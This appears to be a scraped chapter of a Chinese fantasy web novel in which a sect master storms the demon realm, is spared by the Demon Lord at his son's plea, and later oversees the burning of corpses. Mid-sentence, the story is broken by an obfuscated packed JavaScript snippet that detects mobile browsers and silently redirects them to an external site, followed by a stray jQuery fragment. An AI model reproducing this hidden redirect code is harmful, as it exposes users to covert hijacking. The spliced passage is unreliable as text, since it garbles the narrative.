文趣网 > 都市小说 > 魔道少主他非要拜我为师 > 16. 孤身闯魔宫
    魔界在凤灵山脉以北,横跨东西,北至雪境,整片地界魔气缭绕,阴风阵阵,滋养出无数魔种鬼邪。

    未踏入境内,就见黑烟萦绕的地面螺旋式地窜出地灵,一批又一批出现,皆执兵刃,黑铠甲,高九尺,通体乌黑泛着浓烟,不见容貌。

    越千池需得剿灭这些地灵方可踏入魔宫。

    魔宫外有一穿着花色粗布的男子望着她,越千池定睛一瞧,竟与那时在天音山遇见的那位有几分相像,恐怕是兄弟,那便是圣子,魔宫内圣子话语权不高,甚至不如阁老,还需圣女。

    而当下魔宫内权势最大的圣女非凌鸢儿莫属。

    越千池定要逼她出来。

    完颜冲只见那人悬于高空,高举双臂,衣袍乱飞,还没迈出前宫,那灵球便如飞箭般密集又迅猛地砸落,将那些方正一队的地灵打得烟消云散。

    只眨个眼的功夫,灵球便降下一波又一波,地灵被打得不敢冒出,原本黑烟铺盖的紫金广场霎时露出全貌。

    完颜冲吞了口唾沫,眼中闪过狞色,他拽住衣领,化作一道流光朝越千池袭去,后者缓缓睁开眼,那流光在逼近她时陡然显现出完颜冲的模样,越千池淡淡一笑,抬掌一劈,使出巨刃,将流光打散。

    骤然,越千池周身幻化出一个椭圆形的灵球,将其正正好好包裹其中,而那被打散的流光变成了细密的针,狠狠扎在灵球之上,乍一看似是有些可怖,连越千池的形容都变得模糊不清,而那针越扎越深,越千池睁眼望去只看到灵球内密密麻麻的细小凸起。

    “有点道行。”

    越千池将灵气注入更多,直接将那千万根灵针顶飞出去,部分扎到完颜冲的体内,被他骨髓吸纳,部分直接融进了灵球里。

    “妖女。”完颜冲咬破手指,直接用了完颜家禁术血剌。

    指尖那小小的伤口引渡出满天红血,那些血附着在灵球上,直接腐蚀了灵球,越千池愣神半晌,在血快要滴到她面颊上时,雪袖一挥,将那些血全都卷成一团,巨大血滴朝完颜冲砸去。

    完颜冲耗费太多魔气,眼睁睁见着血滴朝自己袭来,只可惜那血一旦离体就不认主,即可伤人也会伤己。

    越千池见他丝毫不躲,知道他已无力反抗,便气定神闲地朝魔宫迈进。

    不曾想才从完颜冲身旁绕过,一只巨大鬼手就从紫金广场腾升而起,一掌翻涌出黑魔巨浪,轻轻一按,直接将越千池压在地上。

    身上犹如积了一座山,越千池只能贴着地面,丝毫爬不起来,而随即那只巨型鬼手指骨弯折,轻轻松松将越千池从地上提了起来,一道沉缓低磁的嗓音自顶部倾泄而下——

    “越涯,你来找死吗?”

    越千池牙关咬紧,倔强地看着那只鬼手中央的眼,愤恨道:“叫你的人滚出大邬城!”

    “我的人?”魔尊掐着她的下巴,“本座不知道你在说什么,本座的圣女圣子们貌似没有在大邬城的。”

    “胡说!”越千池怒道,“若非得你命令,那些邪道弟子怎敢在正道云集的大邬城做诡杀人!”

    魔尊这才悟了,原来又是那些邪道搞鬼,这群臭邪道的,知道魔教在比武会上要有所动作,便按耐不住,想跟着一起,但奈何魔教实在瞧不上他们,他们便先动手,查出来也可以说是他指使的。

    好啊。

    这么好的灭杀正道的机会,他为了元祯的拜师都能全然放弃,那群邪道竟敢趁此搞鬼搅坏稚儿好事,看来要狠狠挫挫他们!

    那只鬼手放下越千池,食指推着她的腹部,指着她道:“此事魔界会管,但也容不得你在此放肆,你,虽为天尊弟子,但未免太过目中无人,本座今日若放过你,难平众愤。”

    越千池已在调转灵力,决心应战,但那只鬼手忽然僵住了,随即抬起,竖着一根指头,那道声音又再次出现:“滚回你的大邬城,永远不要踏入魔界。”

    越千池狐疑地望着那只手,怎么不打?

    完颜冲气喘吁吁地站到鬼手旁,冷脸道:“仙尊请回吧。”

    越千池几步一回头,怕魔尊使什么阴招,等出了紫金台她才闪身离去,轻盈如水滴,溶于天色。

    “尊上为何突然放过她?她都不请自来了,不是应该趁此彻底将她抓住吗?”完颜冲也不解。

    魔尊不语,只是耳边元祯的哭喊还未消停,让他一阵头疼。

    “放过她了,不要哭了。”

    元祯听到爹爹这么说,才打住不哭,但眼眶依旧发红肿胀,他坐在地上抓着膝盖,委屈扭捏道:“爹爹有没有弄伤她。”

    魔尊沉声道:“并未。”

    “真的吗……”元祯擦干眼泪,“那……爹爹真的会帮师傅吗?”

    魔尊顿了片刻,变出一只手揉了揉他的脑袋,温声道:“已经让凌鸢儿和公孙邑去管了。”

    “那就好。”元祯欢欢喜喜地拍拍屁股起身,那只手也随即消失不见。

    “越千池性子急又烈,稚儿跟在她身边要千万小心。”魔尊叮嘱。

    这是他和阿芸唯一的孩子,如果元祯出现意外,他不过放过那个人,会不惜一切让那人生不如死,永世不得轮回。

    “知道了爹爹,师尊待我很好的。”元祯龇着大牙,又是倒茶又是吃点心。

    魔尊见他确实并无意外,屋内还有层层结界护着,也明了越千池虽然待他不如其他弟子,但也算是尽到了师尊之责,至少在大邬城内混乱不堪的情形下还愿意护着元祯。

    罢了,稚儿肯定有自己的谋划。

    “照顾好自己,你娘亲旧居也在大邬城,可以去看看。”魔尊最后道。

    元祯一愣,抿了口茶:“哦……嗯,爹爹不去吗?”

    魔尊沉默良久,最后捏了一下元祯稚气未脱的脸颊,淡声道:“爹爹有其他事,先不去了。”

    那只手消失不见,元祯知道爹爹已经走了,那既然如此,是不是师尊也快回来了!

    元崇满心欢喜地趴在门边结界上,看着长廊尽头,指望能从那边看到师尊上来,但左扒扒右扒扒还是没望见那抹洁白身影,心中顿感失落。

    “看什么呢。”

    越千池的声音陡然在身后响起,元崇白惊喜不已,直接追过去,围着越千池转了一圈,看到她身上果然没伤,才放下心来,又拽上她的衣袖,十分不舍。

    “师傅傅方才去哪里了——”元崇白用脸蹭着那雪色宽袖。

    “去城内转了一圈。”越千池坐在木椅上,沉沉叹了口气。

    元崇白盯着她,不懂她为何要对自己撒谎,但看师尊煞有心事,他便也端了个凳子坐在旁边,不时转头看师尊,不时和师尊一样目视窗外。

    越千池果真看到魔修身影,眼眸一眯,元崇白盯着屋顶上闪过的几道黑影,故作惊慌地问:“师尊,那些家伙是谁啊!”

    越千池按住他躁动的手,沉声道:“魔道的人。”

    元崇白惊慌失措,又朝她身边挪进些许,声线发颤:“魔道……魔道那些家伙怎么回来……”

    “别怕,”越千池起身走向窗边,“在这待着,本尊去去就回。”

    元崇白反应不及,看着已经消失的身影,又怨又恼地攥紧了手,又一声不吭地把他丢在这里,可恶的越千池!

    你要是知道我是魔道少主,你还敢这样对我吗!

    被越千池这样狠狠抛下,元崇白是又气又恼,在屋内踱来踱去,心里怎么也不是滋味,他一定要让越千池留下来陪他!除了他身边,哪里都不许去!

    越千池一出去就和凌鸢儿撞了个照面,后者脑袋一歪,似是惊奇,对越千池看来看去,最后朝城东而去。

    “那不是凌鸢儿吗。”慕云舒看向越千池,问道,“她怎的会来?”

    “我方才去了魔界,让魔尊派人把大邬城的邪道捉拿。”

    越千池淡淡地道,但这可吓坏了慕云舒,她按住越千池的肩,难言地望着她。

    “你说的……可都是真的?”慕

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842742|211679||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    云舒难以置信,“那魔界……你,你怎么去得?”

    “杀了地灵,会有一只鬼手出来,那是魔尊的幻体,”越千池道,“不过我不敌魔尊,他竟然没趁此杀了我,真是……真不像他。”

    “杀了你定会惊动天尊,想必他不敌天尊,所以不敢对你动手。”慕云舒道。

    越千池道:“但愿。”

    慕云舒拍拍她的肩,和她一起去了城东。

    城东那已经聚了不少正道修士,那些藏起来的还未尸变的尸首也被找出大半,男女老少皆有,排成了几排,皆用白布盖住半身,在场的弟子和长老皆望向玄天。

    “你们不要说你们住在大邬城这么久,竟然丝毫未发现城东有人炼僵。”无常派弟子道。

    “城东荒废已久,不在宗门巡逻范围内。”玄天道。

    无常弟子冷哼不屑:“就是因为你们犯懒,才助纣为虐,那么多尸首,要是全都尸变了可怎么办,到那时,凭你们玄天还管得过来吗!”

    玄天弟子哑了火,有几位不服气地看向无常的那位,愣是每一人去收拾尸首。

    躲在屋顶上看好戏的凌鸢儿忽然捂嘴尖笑,众人都朝她看去,不免惊恐:“妖女,你何时来的!”

    凌鸢儿见他们对自己拔剑相向,顿时收敛笑意,托腮双目懒洋洋地望着他们,细细打量那一张张面孔。

    真丑,一个个长得跟被锅底扇了一巴掌似的,没个俊秀出挑的。

    直到望见那张熟悉的脸孔,凌鸢儿脸上才俄而有了笑意,她一手后撑,往后一倚,仪态轻佻风流,道:“本小姐来呢是来帮你们的,你们这群正道弟子真是有意思,在这吵半天也不把这些尸体烧了,怎么,一个个都等夜幕降临然后看尸变吗?!”

    “轮得到你这个妖女在这说吗!”

    不知是谁喊了这么一句,人堆里突然多了一滩血,众弟子惶惑不已,蚁团儿似的散开了。

    那凌鸢儿讥笑道:“轮不到我说,那就轮到你说了吗。”

    “谁再多嘴,下场只会更惨。”

    慕弦生沉着脸望向她,不懂她到此是有什么事,她定然不会好心来帮他们,恐怕是和那些邪道一起的。

    她来了,他也不想在此多待,握紧配剑,直接转道走人,凌鸢儿目光追随他,见他真走了,心里还有些难过,那晚过后都没再和他叙叙旧,也不知他知不知道那些事。

    凌鸢儿狠狠剜了剩下的那群丑人,跳下屋顶去找慕弦生。

    她前脚刚走,后脚越千池她们就来了,那些弟子们正在堆火烧尸,洒了水贴了符咒,就差点火了,见仙尊来了都恭敬行礼。

    “师尊,方才凌鸢儿来了!”无常派弟子大喊道。

    慕云舒道:“为师知道,那凌鸢儿是魔尊派来清理门户的,不必担心。”

    “啊,清理门户,她不是和那些邪道一起的吗?”弟子们窃窃私语。

    他们早都听说这次比武大会魔道要搅乱,原以为今日这些变故皆为魔道所为,没曾想竟然不是吗。

    那……那那些邪道为何无缘无故就要袭击他们,无仇无怨啊。

    慕云舒道:“邪魔本质一体,但非同根,只是都与正道水火不容,二者仍有利益上的冲突。”

    越千池道:“今日所有事皆是邪道自发所为,但害的是魔道名声,他们无端领了骂名,自然要管。”

    “原来如此,那他们自相残杀才好呢!”弟子喊道。

    慕云舒哼笑道:“你们快把这些尸首处理了,现在城内又有邪道又有魔道,也不注意点,还在这嘻嘻哈哈,当小儿玩乐、踏青过家家呢。”

    那群弟子被骂了也不敢吭声,都闷头闷脑地开始点火烧尸,只是略微尸僵的尸首烧出来的气味腥臭难忍,那群弟子只能放任这火在这烧,他们待了会儿就受不了,全都退下了。

    唯有越千池还在那盯着火势,眼见着那火越烧越小,焦黑尸堆里俨然冒出个通体发青的灵体,做惊恐状,直冲天上飘去。